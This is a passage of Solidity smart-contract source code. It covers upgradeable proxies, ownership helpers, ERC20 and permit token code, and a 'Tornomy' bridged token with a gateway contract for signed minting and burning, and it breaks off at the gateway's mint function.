* feature proposal that would enable this to be done automatically.
*/
contract BaseAdminUpgradeabilityProxy is BaseUpgradeabilityProxy {
/**
* @dev Emitted when the administration has been transferred.
* @param previousAdmin Address of the previous admin.
* @param newAdmin Address of the new admin.
*/
event AdminChanged(address previousAdmin, address newAdmin);
/**
* @dev Storage slot with the admin of the contract.
* This is the keccak-256 hash of "eip1967.proxy.admin" subtracted by 1, and is
* validated in the constructor.
*/
bytes32 internal constant ADMIN_SLOT = 0xb53127684a568b3173ae13b9f8a6016e243e63b6e8ee1178d6a717850b5d6103;
/**
* @dev Modifier to check whether the `msg.sender` is the admin.
* If it is, it will run the function. Otherwise, it will delegate the call
* to the implementation.
*/
modifier ifAdmin() {
if (msg.sender == _admin()) {
_;
} else {
_fallback();
}
}
/**
* @return The address of the proxy admin.
*/
function admin() external ifAdmin returns (address) {
return _admin();
}
/**
* @return The address of the implementation.
*/
function implementation() external ifAdmin returns (address) {
return _implementation();
}
/**
* @dev Changes the admin of the proxy.
* Only the current admin can call this function.
* @param newAdmin Address to transfer proxy administration to.
*/
function changeAdmin(address newAdmin) external ifAdmin {
require(newAdmin != address(0), "Cannot change the admin of a proxy to the zero address");
emit AdminChanged(_admin(), newAdmin);
_setAdmin(newAdmin);
}
/**
* @dev Upgrade the backing implementation of the proxy.
* Only the admin can call this function.
* @param newImplementation Address of the new implementation.
*/
function upgradeTo(address newImplementation) external ifAdmin {
_upgradeTo(newImplementation);
}
/**
* @dev Upgrade the backing implementation of the proxy and call a function
* on the new implementation.
* This is useful to initialize the proxied contract.
* @param newImplementation Address of the new implementation.
* @param data Data to send as msg.data in the low level call.
* It should include the signature and the parameters of the function to be called, as described in
* https://solidity.readthedocs.io/en/v0.4.24/abi-spec.html#function-selector-and-argument-encoding.
*/
function upgradeToAndCall(address newImplementation, bytes calldata data) payable external ifAdmin {
_upgradeTo(newImplementation);
(bool success,) = newImplementation.delegatecall(data);
require(success);
}
/**
* @return The admin slot.
*/
function _admin() internal view returns (address adm) {
bytes32 slot = ADMIN_SLOT;
assembly {
adm := sload(slot)
}
}
/**
* @dev Sets the address of the proxy admin.
* @param newAdmin Address of the new proxy admin.
*/
function _setAdmin(address newAdmin) internal {
bytes32 slot = ADMIN_SLOT;
assembly {
sstore(slot, newAdmin)
}
}
/**
* @dev Only fall back when the sender is not the admin.
*/
function _willFallback() internal {
require(msg.sender != _admin(), "Cannot call fallback function from the proxy admin");
super._willFallback();
}
}
/**
* @title InitializableUpgradeabilityProxy
* @dev Extends BaseUpgradeabilityProxy with an initializer for initializing
* implementation and init data.
*/
contract InitializableUpgradeabilityProxy is BaseUpgradeabilityProxy {
/**
* @dev Contract initializer.
* @param _logic Address of the initial implementation.
* @param _data Data to send as msg.data to the implementation to initialize the proxied contract.
* It should include the signature and the parameters of the function to be called, as described in
* https://solidity.readthedocs.io/en/v0.4.24/abi-spec.html#function-selector-and-argument-encoding.
* This parameter is optional, if no data is given the initialization call to proxied contract will be skipped.
*/
function initialize(address _logic, bytes memory _data) public payable {
require(_implementation() == address(0));
assert(IMPLEMENTATION_SLOT == bytes32(uint256(keccak256('eip1967.proxy.implementation')) - 1));
_setImplementation(_logic);
if(_data.length > 0) {
(bool success,) = _logic.delegatecall(_data);
require(success);
}
}
}
/**
* @title InitializableAdminUpgradeabilityProxy
* @dev Extends from BaseAdminUpgradeabilityProxy with an initializer for
* initializing the implementation, admin, and init data.
*/
contract InitializableAdminUpgradeabilityProxy is BaseAdminUpgradeabilityProxy, InitializableUpgradeabilityProxy {
/**
* Contract initializer.
* @param _logic address of the initial implementation.
* @param _admin Address of the proxy administrator.
* @param _data Data to send as msg.data to the implementation to initialize the proxied contract.
* It should include the signature and the parameters of the function to be called, as described in
* https://solidity.readthedocs.io/en/v0.4.24/abi-spec.html#function-selector-and-argument-encoding.
* This parameter is optional, if no data is given the initialization call to proxied contract will be skipped.
*/
function initialize(address _logic, address _admin, bytes memory _data) public payable {
require(_implementation() == address(0));
InitializableUpgradeabilityProxy.initialize(_logic, _data);
assert(ADMIN_SLOT == bytes32(uint256(keccak256('eip1967.proxy.admin')) - 1));
_setAdmin(_admin);
}
}
/*
* @dev Provides information about the current execution context, including the
* sender of the transaction and its data. While these are generally available
* via msg.sender and msg.data, they should not be accessed in such a direct
* manner, since when dealing with GSN meta-transactions the account sending and
* paying for execution may not be the actual sender (as far as an application
* is concerned).
*
* This contract is only required for intermediate, library-like contracts.
*/
contract Context is Initializable {
// Empty internal constructor, to prevent people from mistakenly deploying
// an instance of this contract, which should be used via inheritance.
constructor () internal { }
// solhint-disable-previous-line no-empty-blocks
function _msgSender() internal view returns (address payable) {
return msg.sender;
}
function _msgData() internal view returns (bytes memory) {
this; // silence state mutability warning without generating bytecode - see https://github.com/ethereum/solidity/issues/2691
return msg.data;
}
}
/**
* @dev Contract module which provides a basic access control mechanism, where
* there is an account (an owner) that can be granted exclusive access to
* specific functions.
*
* This module is used through inheritance. It will make available the modifier
* `onlyOwner`, which can be aplied to your functions to restrict their use to
* the owner.
*/
contract Ownable is Initializable, Context {
address private _owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
/**
* @dev Initializes the contract setting the deployer as the initial owner.
*/
function initialize(address sender) public initializer {
_owner = sender;
emit OwnershipTransferred(address(0), _owner);
}
/**
* @dev Returns the address of the current owner.
*/
function owner() public view returns (address) {
return _owner;
}
/**
* @dev Throws if called by any account other than the owner.
*/
modifier onlyOwner() {
require(isOwner(), "Ownable: caller is not the owner");
_;
}
/**
* @dev Returns true if the caller is the current owner.
*/
function isOwner() public view returns (bool) {
return _msgSender() == _owner;
}
/**
* @dev Leaves the contract without owner. It will not be possible to call
* `onlyOwner` functions anymore. Can only be called by the current owner.
*
* > Note: Renouncing ownership will leave the contract without an owner,
* thereby removing any functionality that is only available to the owner.
*/
function renounceOwnership() public onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
/**
* @dev Transfers ownership of the contract to a new account (`newOwner`).
* Can only be called by the current owner.
*/
function transferOwnership(address newOwner) public onlyOwner {
_transferOwnership(newOwner);
}
/**
* @dev Transfers ownership of the contract to a new account (`newOwner`).
*/
function _transferOwnership(address newOwner) internal {
require(newOwner != address(0), "Ownable: new owner is the zero address");
emit OwnershipTransferred(_owner, newOwner);
_owner = newOwner;
}
uint256[50] private ______gap;
}
/**
* @title Claimable
* @dev Extension for the Ownable contract, where the ownership needs to be claimed.
* This allows the new owner to accept the transfer.
*/
contract Claimable is Initializable, Ownable {
address public pendingOwner;
function initialize(address _nextOwner) public initializer {
Ownable.initialize(_nextOwner);
}
modifier onlyPendingOwner() {
require(
_msgSender() == pendingOwner,
"Claimable: caller is not the pending owner"
);
_;
}
function transferOwnership(address newOwner) public onlyOwner {
require(
newOwner != owner() && newOwner != pendingOwner,
"Claimable: invalid new owner"
);
pendingOwner = newOwner;
}
function claimOwnership() public onlyPendingOwner {
_transferOwnership(pendingOwner);
delete pendingOwner;
}
}
library String {
/// @notice Convert a uint value to its decimal string representation
// solium-disable-next-line security/no-assign-params
function fromUint(uint256 _i) internal pure returns (string memory) {
if (_i == 0) {
return "0";
}
uint256 j = _i;
uint256 len;
while (j != 0) {
len++;
j /= 10;
}
bytes memory bstr = new bytes(len);
uint256 k = len - 1;
while (_i != 0) {
bstr[k--] = bytes1(uint8(48 + (_i % 10)));
_i /= 10;
}
return string(bstr);
}
/// @notice Convert a bytes32 value to its hex string representation.
function fromBytes32(bytes32 _value) internal pure returns (string memory) {
bytes memory alphabet = "0123456789abcdef";
bytes memory str = new bytes(32 * 2 + 2);
str[0] = "0";
str[1] = "x";
for (uint256 i = 0; i < 32; i++) {
str[2 + i * 2] = alphabet[uint256(uint8(_value[i] >> 4))];
str[3 + i * 2] = alphabet[uint256(uint8(_value[i] & 0x0f))];
}
return string(str);
}
/// @notice Convert an address to its hex string representation.
function fromAddress(address _addr) internal pure returns (string memory) {
bytes32 value = bytes32(uint256(_addr));
bytes memory alphabet = "0123456789abcdef";
bytes memory str = new bytes(20 * 2 + 2);
str[0] = "0";
str[1] = "x";
for (uint256 i = 0; i < 20; i++) {
str[2 + i * 2] = alphabet[uint256(uint8(value[i + 12] >> 4))];
str[3 + i * 2] = alphabet[uint256(uint8(value[i + 12] & 0x0f))];
}
return string(str);
}
/// @notice Append eight strings.
function add8(
string memory a,
string memory b,
string memory c,
string memory d,
string memory e,
string memory f,
string memory g,
string memory h
) internal pure returns (string memory) {
return string(abi.encodePacked(a, b, c, d, e, f, g, h));
}
}
/**
* @dev Interface of the ERC20 standard as defined in the EIP. Does not include
* the optional functions; to access them see {ERC20Detailed}.
*/
interface IERC20 {
/**
* @dev Returns the amount of tokens in existence.
*/
function totalSupply() external view returns (uint256);
/**
* @dev Returns the amount of tokens owned by `account`.
*/
function balanceOf(address account) external view returns (uint256);
/**
* @dev Moves `amount` tokens from the caller's account to `recipient`.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* Emits a {Transfer} event.
*/
function transfer(address recipient, uint256 amount) external returns (bool);
/**
* @dev Returns the remaining number of tokens that `spender` will be
* allowed to spend on behalf of `owner` through {transferFrom}. This is
* zero by default.
*
* This value changes when {approve} or {transferFrom} are called.
*/
function allowance(address owner, address spender) external view returns (uint256);
/**
* @dev Sets `amount` as the allowance of `spender` over the caller's tokens.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* IMPORTANT: Beware that changing an allowance with this method brings the risk
* that someone may use both the old and the new allowance by unfortunate
* transaction ordering. One possible solution to mitigate this race
* condition is to first reduce the spender's allowance to 0 and set the
* desired value afterwards:
* https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729
*
* Emits an {Approval} event.
*/
function approve(address spender, uint256 amount) external returns (bool);
/**
* @dev Moves `amount` tokens from `sender` to `recipient` using the
* allowance mechanism. `amount` is then deducted from the caller's
* allowance.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* Emits a {Transfer} event.
*/
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
/**
* @dev Emitted when `value` tokens are moved from one account (`from`) to
* another (`to`).
*
* Note that `value` may be zero.
*/
event Transfer(address indexed from, address indexed to, uint256 value);
/**
* @dev Emitted when the allowance of a `spender` for an `owner` is set by
* a call to {approve}. `value` is the new allowance.
*/
event Approval(address indexed owner, address indexed spender, uint256 value);
}
/**
* @dev Implementation of the {IERC20} interface.
*
* This implementation is agnostic to the way tokens are created. This means
* that a supply mechanism has to be added in a derived contract using {_mint}.
* For a generic mechanism see {ERC20Mintable}.
*
* TIP: For a detailed writeup see our guide
* https://forum.zeppelin.solutions/t/how-to-implement-erc20-supply-mechanisms/226[How
* to implement supply mechanisms].
*
* We have followed general OpenZeppelin guidelines: functions revert instead
* of returning `false` on failure. This behavior is nonetheless conventional
* and does not conflict with the expectations of ERC20 applications.
*
* Additionally, an {Approval} event is emitted on calls to {transferFrom}.
* This allows applications to reconstruct the allowance for all accounts just
* by listening to said events. Other implementations of the EIP may not emit
* these events, as it isn't required by the specification.
*
* Finally, the non-standard {decreaseAllowance} and {increaseAllowance}
* functions have been added to mitigate the well-known issues around setting
* allowances. See {IERC20-approve}.
*/
contract ERC20 is Initializable, Context, IERC20 {
using SafeMath for uint256;
mapping (address => uint256) private _balances;
mapping (address => mapping (address => uint256)) private _allowances;
uint256 private _totalSupply;
/**
* @dev See {IERC20-totalSupply}.
*/
function totalSupply() public view returns (uint256) {
return _totalSupply;
}
/**
* @dev See {IERC20-balanceOf}.
*/
function balanceOf(address account) public view returns (uint256) {
return _balances[account];
}
/**
* @dev See {IERC20-transfer}.
*
* Requirements:
*
* - `recipient` cannot be the zero address.
* - the caller must have a balance of at least `amount`.
*/
function transfer(address recipient, uint256 amount) public returns (bool) {
_transfer(_msgSender(), recipient, amount);
return true;
}
/**
* @dev See {IERC20-allowance}.
*/
function allowance(address owner, address spender) public view returns (uint256) {
return _allowances[owner][spender];
}
/**
* @dev See {IERC20-approve}.
*
* Requirements:
*
* - `spender` cannot be the zero address.
*/
function approve(address spender, uint256 amount) public returns (bool) {
_approve(_msgSender(), spender, amount);
return true;
}
/**
* @dev See {IERC20-transferFrom}.
*
* Emits an {Approval} event indicating the updated allowance. This is not
* required by the EIP. See the note at the beginning of {ERC20};
*
* Requirements:
* - `sender` and `recipient` cannot be the zero address.
* - `sender` must have a balance of at least `amount`.
* - the caller must have allowance for `sender`'s tokens of at least
* `amount`.
*/
function transferFrom(address sender, address recipient, uint256 amount) public returns (bool) {
_transfer(sender, recipient, amount);
_approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
return true;
}
/**
* @dev Atomically increases the allowance granted to `spender` by the caller.
*
* This is an alternative to {approve} that can be used as a mitigation for
* problems described in {IERC20-approve}.
*
* Emits an {Approval} event indicating the updated allowance.
*
* Requirements:
*
* - `spender` cannot be the zero address.
*/
function increaseAllowance(address spender, uint256 addedValue) public returns (bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender].add(addedValue));
return true;
}
/**
* @dev Atomically decreases the allowance granted to `spender` by the caller.
*
* This is an alternative to {approve} that can be used as a mitigation for
* problems described in {IERC20-approve}.
*
* Emits an {Approval} event indicating the updated allowance.
*
* Requirements:
*
* - `spender` cannot be the zero address.
* - `spender` must have allowance for the caller of at least
* `subtractedValue`.
*/
function decreaseAllowance(address spender, uint256 subtractedValue) public returns (bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender].sub(subtractedValue, "ERC20: decreased allowance below zero"));
return true;
}
/**
* @dev Moves tokens `amount` from `sender` to `recipient`.
*
* This is internal function is equivalent to {transfer}, and can be used to
* e.g. implement automatic token fees, slashing mechanisms, etc.
*
* Emits a {Transfer} event.
*
* Requirements:
*
* - `sender` cannot be the zero address.
* - `recipient` cannot be the zero address.
* - `sender` must have a balance of at least `amount`.
*/
function _transfer(address sender, address recipient, uint256 amount) internal {
require(sender != address(0), "ERC20: transfer from the zero address");
require(recipient != address(0), "ERC20: transfer to the zero address");
_balances[sender] = _balances[sender].sub(amount, "ERC20: transfer amount exceeds balance");
_balances[recipient] = _balances[recipient].add(amount);
emit Transfer(sender, recipient, amount);
}
/** @dev Creates `amount` tokens and assigns them to `account`, increasing
* the total supply.
*
* Emits a {Transfer} event with `from` set to the zero address.
*
* Requirements
*
* - `to` cannot be the zero address.
*/
function _mint(address account, uint256 amount) internal {
require(account != address(0), "ERC20: mint to the zero address");
_totalSupply = _totalSupply.add(amount);
_balances[account] = _balances[account].add(amount);
emit Transfer(address(0), account, amount);
}
/**
* @dev Destroys `amount` tokens from `account`, reducing the
* total supply.
*
* Emits a {Transfer} event with `to` set to the zero address.
*
* Requirements
*
* - `account` cannot be the zero address.
* - `account` must have at least `amount` tokens.
*/
function _burn(address account, uint256 amount) internal {
require(account != address(0), "ERC20: burn from the zero address");
_balances[account] = _balances[account].sub(amount, "ERC20: burn amount exceeds balance");
_totalSupply = _totalSupply.sub(amount);
emit Transfer(account, address(0), amount);
}
/**
* @dev Sets `amount` as the allowance of `spender` over the `owner`s tokens.
*
* This is internal function is equivalent to `approve`, and can be used to
* e.g. set automatic allowances for certain subsystems, etc.
*
* Emits an {Approval} event.
*
* Requirements:
*
* - `owner` cannot be the zero address.
* - `spender` cannot be the zero address.
*/
function _approve(address owner, address spender, uint256 amount) internal {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
/**
* @dev Destroys `amount` tokens from `account`.`amount` is then deducted
* from the caller's allowance.
*
* See {_burn} and {_approve}.
*/
function _burnFrom(address account, uint256 amount) internal {
_burn(account, amount);
_approve(account, _msgSender(), _allowances[account][_msgSender()].sub(amount, "ERC20: burn amount exceeds allowance"));
}
uint256[50] private ______gap;
}
/**
* @dev Optional functions from the ERC20 standard.
*/
contract ERC20Detailed is Initializable, IERC20 {
string private _name;
string private _symbol;
uint8 private _decimals;
/**
* @dev Sets the values for `name`, `symbol`, and `decimals`. All three of
* these values are immutable: they can only be set once during
* construction.
*/
function initialize(string memory name, string memory symbol, uint8 decimals) public initializer {
_name = name;
_symbol = symbol;
_decimals = decimals;
}
/**
* @dev Returns the name of the token.
*/
function name() public view returns (string memory) {
return _name;
}
/**
* @dev Returns the symbol of the token, usually a shorter version of the
* name.
*/
function symbol() public view returns (string memory) {
return _symbol;
}
/**
* @dev Returns the number of decimals used to get its user representation.
* For example, if `decimals` equals `2`, a balance of `505` tokens should
* be displayed to a user as `5,05` (`505 / 10 ** 2`).
*
* Tokens usually opt for a value of 18, imitating the relationship between
* Ether and Wei.
*
* NOTE: This information is only used for _display_ purposes: it in
* no way affects any of the arithmetic of the contract, including
* {IERC20-balanceOf} and {IERC20-transfer}.
*/
function decimals() public view returns (uint8) {
return _decimals;
}
uint256[50] private ______gap;
}
/**
* @dev Collection of functions related to the address type
*/
library Address {
/**
* @dev Returns true if `account` is a contract.
*
* [IMPORTANT]
* ====
* It is unsafe to assume that an address for which this function returns
* false is an externally-owned account (EOA) and not a contract.
*
* Among others, `isContract` will return false for the following
* types of addresses:
*
* - an externally-owned account
* - a contract in construction
* - an address where a contract will be created
* - an address where a contract lived, but was destroyed
* ====
*/
function isContract(address account) internal view returns (bool) {
// According to EIP-1052, 0x0 is the value returned for not-yet created accounts
// and 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470 is returned
// for accounts without code, i.e. `keccak256('')`
bytes32 codehash;
bytes32 accountHash = 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470;
// solhint-disable-next-line no-inline-assembly
assembly { codehash := extcodehash(account) }
return (codehash != accountHash && codehash != 0x0);
}
/**
* @dev Converts an `address` into `address payable`. Note that this is
* simply a type cast: the actual underlying value is not changed.
*
* _Available since v2.4.0._
*/
function toPayable(address account) internal pure returns (address payable) {
return address(uint160(account));
}
/**
* @dev Replacement for Solidity's `transfer`: sends `amount` wei to
* `recipient`, forwarding all available gas and reverting on errors.
*
* https://eips.ethereum.org/EIPS/eip-1884[EIP1884] increases the gas cost
* of certain opcodes, possibly making contracts go over the 2300 gas limit
* imposed by `transfer`, making them unable to receive funds via
* `transfer`. {sendValue} removes this limitation.
*
* https://diligence.consensys.net/posts/2019/09/stop-using-soliditys-transfer-now/[Learn more].
*
* IMPORTANT: because control is transferred to `recipient`, care must be
* taken to not create reentrancy vulnerabilities. Consider using
* {ReentrancyGuard} or the
* https://solidity.readthedocs.io/en/v0.5.11/security-considerations.html#use-the-checks-effects-interactions-pattern[checks-effects-interactions pattern].
*
* _Available since v2.4.0._
*/
function sendValue(address payable recipient, uint256 amount) internal {
require(address(this).balance >= amount, "Address: insufficient balance");
// solhint-disable-next-line avoid-call-value
(bool success, ) = recipient.call.value(amount)("");
require(success, "Address: unable to send value, recipient may have reverted");
}
}
/**
* @title SafeERC20
* @dev Wrappers around ERC20 operations that throw on failure (when the token
* contract returns false). Tokens that return no value (and instead revert or
* throw on failure) are also supported, non-reverting calls are assumed to be
* successful.
* To use this library you can add a `using SafeERC20 for ERC20;` statement to your contract,
* which allows you to call the safe operations as `token.safeTransfer(...)`, etc.
*/
library SafeERC20 {
using SafeMath for uint256;
using Address for address;
function safeTransfer(IERC20 token, address to, uint256 value) internal {
callOptionalReturn(token, abi.encodeWithSelector(token.transfer.selector, to, value));
}
function safeTransferFrom(IERC20 token, address from, address to, uint256 value) internal {
callOptionalReturn(token, abi.encodeWithSelector(token.transferFrom.selector, from, to, value));
}
function safeApprove(IERC20 token, address spender, uint256 value) internal {
// safeApprove should only be called when setting an initial allowance,
// or when resetting it to zero. To increase and decrease it, use
// 'safeIncreaseAllowance' and 'safeDecreaseAllowance'
// solhint-disable-next-line max-line-length
require((value == 0) || (token.allowance(address(this), spender) == 0),
"SafeERC20: approve from non-zero to non-zero allowance"
);
callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, value));
}
function safeIncreaseAllowance(IERC20 token, address spender, uint256 value) internal {
uint256 newAllowance = token.allowance(address(this), spender).add(value);
callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, newAllowance));
}
function safeDecreaseAllowance(IERC20 token, address spender, uint256 value) internal {
uint256 newAllowance = token.allowance(address(this), spender).sub(value, "SafeERC20: decreased allowance below zero");
callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, newAllowance));
}
/**
* @dev Imitates a Solidity high-level call (i.e. a regular function call to a contract), relaxing the requirement
* on the return value: the return value is optional (but if data is returned, it must not be false).
* @param token The token targeted by the call.
* @param data The call data (encoded using abi.encode or one of its variants).
*/
function callOptionalReturn(IERC20 token, bytes memory data) private {
// We need to perform a low level call here, to bypass Solidity's return data size checking mechanism, since
// we're implementing it ourselves.
// A Solidity high level call has three parts:
// 1. The target address is checked to verify it contains contract code
// 2. The call itself is made, and success asserted
// 3. The return value is decoded, which in turn checks the size of the returned data.
// solhint-disable-next-line max-line-length
require(address(token).isContract(), "SafeERC20: call to non-contract");
// solhint-disable-next-line avoid-low-level-calls
(bool success, bytes memory returndata) = address(token).call(data);
require(success, "SafeERC20: low-level call failed");
if (returndata.length > 0) { // Return data is optional
// solhint-disable-next-line max-line-length
require(abi.decode(returndata, (bool)), "SafeERC20: ERC20 operation did not succeed");
}
}
}
contract CanReclaimTokens is Claimable {
using SafeERC20 for ERC20;
mapping(address => bool) private recoverableTokensBlacklist;
function initialize(address _nextOwner) public initializer {
Claimable.initialize(_nextOwner);
}
function blacklistRecoverableToken(address _token) public onlyOwner {
recoverableTokensBlacklist[_token] = true;
}
/// @notice Allow the owner of the contract to recover funds accidentally
/// sent to the contract. To withdraw ETH, the token should be set to `0x0`.
function recoverTokens(address _token) external onlyOwner {
require(
!recoverableTokensBlacklist[_token],
"CanReclaimTokens: token is not recoverable"
);
if (_token == address(0x0)) {
msg.sender.transfer(address(this).balance);
} else {
ERC20(_token).safeTransfer(
msg.sender,
ERC20(_token).balanceOf(address(this))
);
}
}
}
/// @notice Taken from the DAI token.
contract ERC20WithPermit is Initializable, ERC20, ERC20Detailed {
using SafeMath for uint256;
mapping(address => uint256) public nonces;
// If the token is redeployed, the version is increased to prevent a permit
// signature being used on both token instances.
string public version;
// --- EIP712 niceties ---
bytes32 public DOMAIN_SEPARATOR;
// PERMIT_TYPEHASH is the value returned from
// keccak256("Permit(address holder,address spender,uint256 nonce,uint256 expiry,bool allowed)")
bytes32
public constant PERMIT_TYPEHASH = 0xea2aa0a1be11a07ed86d755c93467f4f82362b452371d1ba94d1715123511acb;
function initialize(
uint256 _chainId,
string memory _version,
string memory _name,
string memory _symbol,
uint8 _decimals
) public initializer {
ERC20Detailed.initialize(_name, _symbol, _decimals);
version = _version;
DOMAIN_SEPARATOR = keccak256(
abi.encode(
keccak256(
"EIP712Domain(string name,string version,uint256 chainId,address verifyingContract)"
),
keccak256(bytes(name())),
keccak256(bytes(version)),
_chainId,
address(this)
)
);
}
// --- Approve by signature ---
function permit(
address holder,
address spender,
uint256 nonce,
uint256 expiry,
bool allowed,
uint8 v,
bytes32 r,
bytes32 s
) external {
bytes32 digest = keccak256(
abi.encodePacked(
"\x19\x01",
DOMAIN_SEPARATOR,
keccak256(
abi.encode(
PERMIT_TYPEHASH,
holder,
spender,
nonce,
expiry,
allowed
)
)
)
);
require(holder != address(0), "ERC20WithRate: address must not be 0x0");
require(
holder == ecrecover(digest, v, r, s),
"ERC20WithRate: invalid signature"
);
require(
expiry == 0 || now <= expiry,
"ERC20WithRate: permit has expired"
);
require(nonce == nonces[holder]++, "ERC20WithRate: invalid nonce");
uint256 amount = allowed ? uint256(-1) : 0;
_approve(holder, spender, amount);
}
}
/// @notice TornomyERC20 represents a digital asset that has been bridged on to
/// the Ethereum ledger. It exposes mint and burn functions that can only be
/// called by it's associated Gateway contract.
contract TornomyERC20 is
Initializable,
ERC20,
ERC20Detailed,
ERC20WithPermit,
Ownable,
Claimable,
CanReclaimTokens
{
/* solium-disable-next-line no-empty-blocks */
function initialize(
uint256 _chainId,
address _nextOwner,
string memory _version,
string memory _name,
string memory _symbol,
uint8 _decimals
) public initializer {
ERC20Detailed.initialize(_name, _symbol, _decimals);
Ownable.initialize(_nextOwner);
ERC20WithPermit.initialize(
_chainId,
_version,
_name,
_symbol,
_decimals
);
Claimable.initialize(_nextOwner);
CanReclaimTokens.initialize(_nextOwner);
}
/// @notice mint can only be called by the tokens' associated Gateway
/// contract. See Gateway's mint function instead.
function mint(address _to, uint256 _amount) public onlyOwner {
_mint(_to, _amount);
}
/// @notice burn can only be called by the tokens' associated Gateway
/// contract. See Gateway's burn functions instead.
function burn(address _from, uint256 _amount) public onlyOwner {
_burn(_from, _amount);
}
function transfer(address recipient, uint256 amount) public returns (bool) {
// Disallow sending tokens to the ERC20 contract address - a common
// mistake caused by the Ethereum transaction's `to` needing to be
// the token's address.
require(
recipient != address(this),
"TornomyERC20: can't transfer to token address"
);
return super.transfer(recipient, amount);
}
function transferFrom(
address sender,
address recipient,
uint256 amount
) public returns (bool) {
// Disallow sending tokens to the ERC20 contract address (see comment
// in `transfer`).
require(
recipient != address(this),
"TornomyERC20: can't transfer to token address"
);
return super.transferFrom(sender, recipient, amount);
}
}
// TODO: In ^0.6.0, should be `interface IGateway is IMintGateway,IBurnGateway {}`
interface IGateway {
// is IMintGateway
function mint(
string calldata _symbol,
address _recipient,
uint256 _amount,
bytes32 _nHash,
bytes calldata _sig
) external returns (uint256);
function mintFee() external view returns (uint256);
// is IBurnGateway
function burn(bytes calldata _to, uint256 _amountScaled)
external
returns (uint256);
function burnFee() external view returns (uint256);
}
contract GatewayState {
uint256 constant BIPS_DENOMINATOR = 10000;
uint256 public minimumBurnAmount;
/// @notice Each Gateway is tied to a specific TornomyERC20 token.
TornomyERC20 public token;
/// @notice The mintAuthority is an address that can sign mint requests.
address public mintAuthority;
/// @dev feeRecipient is assumed to be an address (or a contract) that can
/// accept erc20 payments it cannot be 0x0.
/// @notice When tokens are mint or burnt, a portion of the tokens are
/// forwarded to a fee recipient.
address public feeRecipient;
/// @notice The mint fee in bips.
uint16 public mintFee;
/// @notice The burn fee in bips.
uint16 public burnFee;
/// @notice Each signature can only be seen once.
mapping(bytes32 => bool) public status;
// LogMint and LogBurn contain a unique `n` that identifies
// the mint or burn event.
uint256 public nextN = 0;
}
/// @notice Gateway handles verifying mint and burn requests. A mintAuthority
/// approves new assets to be minted by providing a digital signature. An ownernpm
/// of an asset can request for it to be burnt.
contract TornomyTokenGateway is
Initializable,
Claimable,
CanReclaimTokens,
GatewayState
{
using SafeMath for uint256;
event LogMintAuthorityUpdated(address indexed _newMintAuthority);
event LogMint(
address indexed _to,
uint256 _amount,
uint256 indexed _n,
bytes32 indexed _signedMessageHash
);
event LogBurn(
bytes _to,
uint256 _amount,
uint256 indexed _n,
bytes indexed _indexedTo
);
/// @notice Only allow the Darknode Payment contract.
modifier onlyOwnerOrMintAuthority() {
require(
msg.sender == mintAuthority || msg.sender == owner(),
"Gateway: caller is not the owner or mint authority"
);
_;
}
/// @param _token The TornomyERC20 this Gateway is responsible for.
/// @param _feeRecipient The recipient of burning and minting fees.
/// @param _mintAuthority The address of the key that can sign mint
/// requests.
/// @param _mintFee The amount subtracted each mint request and
/// forwarded to the feeRecipient. In BIPS.
/// @param _burnFee The amount subtracted each burn request and
/// forwarded to the feeRecipient. In BIPS.
function initialize(
TornomyERC20 _token,
address _feeRecipient,
address _mintAuthority,
uint16 _mintFee,
uint16 _burnFee,
uint256 _minimumBurnAmount
) public initializer {
Claimable.initialize(msg.sender);
CanReclaimTokens.initialize(msg.sender);
minimumBurnAmount = _minimumBurnAmount;
token = _token;
mintFee = _mintFee;
burnFee = _burnFee;
updateMintAuthority(_mintAuthority);
updateFeeRecipient(_feeRecipient);
}
// Public functions ////////////////////////////////////////////////////////
/// @notice Claims ownership of the token passed in to the constructor.
/// `transferStoreOwnership` must have previously been called.
/// Anyone can call this function.
function claimTokenOwnership() public {
token.claimOwnership();
}
/// @notice Allow the owner to update the owner of the TornomyERC20 token.
function transferTokenOwnership(TornomyTokenGateway _nextTokenOwner)
public
onlyOwner
{
token.transferOwnership(address(_nextTokenOwner));
_nextTokenOwner.claimTokenOwnership();
}
/// @notice Allow the owner to update the fee recipient.
///
/// @param _nextMintAuthority The address to start paying fees to.
function updateMintAuthority(address _nextMintAuthority)
public
onlyOwnerOrMintAuthority
{
// The mint authority should not be set to 0, which is the result
// returned by ecrecover for an invalid signature.
require(
_nextMintAuthority != address(0),
"Gateway: mintAuthority cannot be set to address zero"
);
mintAuthority = _nextMintAuthority;
emit LogMintAuthorityUpdated(mintAuthority);
}
/// @notice Allow the owner to update the minimum burn amount.
///
/// @param _minimumBurnAmount The new min burn amount.
function updateMinimumBurnAmount(uint256 _minimumBurnAmount)
public
onlyOwner
{
minimumBurnAmount = _minimumBurnAmount;
}
/// @notice Allow the owner to update the fee recipient.
///
/// @param _nextFeeRecipient The address to start paying fees to.
function updateFeeRecipient(address _nextFeeRecipient) public onlyOwner {
// 'mint' and 'burn' will fail if the feeRecipient is 0x0
require(
_nextFeeRecipient != address(0x0),
"Gateway: fee recipient cannot be 0x0"
);
feeRecipient = _nextFeeRecipient;
}
/// @notice Allow the owner to update the 'mint' fee.
///
/// @param _nextMintFee The new fee for minting and burning.
function updateMintFee(uint16 _nextMintFee) public onlyOwner {
mintFee = _nextMintFee;
}
/// @notice Allow the owner to update the burn fee.
///
/// @param _nextBurnFee The new fee for minting and burning.
function updateBurnFee(uint16 _nextBurnFee) public onlyOwner {
burnFee = _nextBurnFee;
}
function mint(
string calldata _symbol,
address _recipient,
uint256 _amount,
bytes32 _nHash,
bytes calldata _sig
) external {
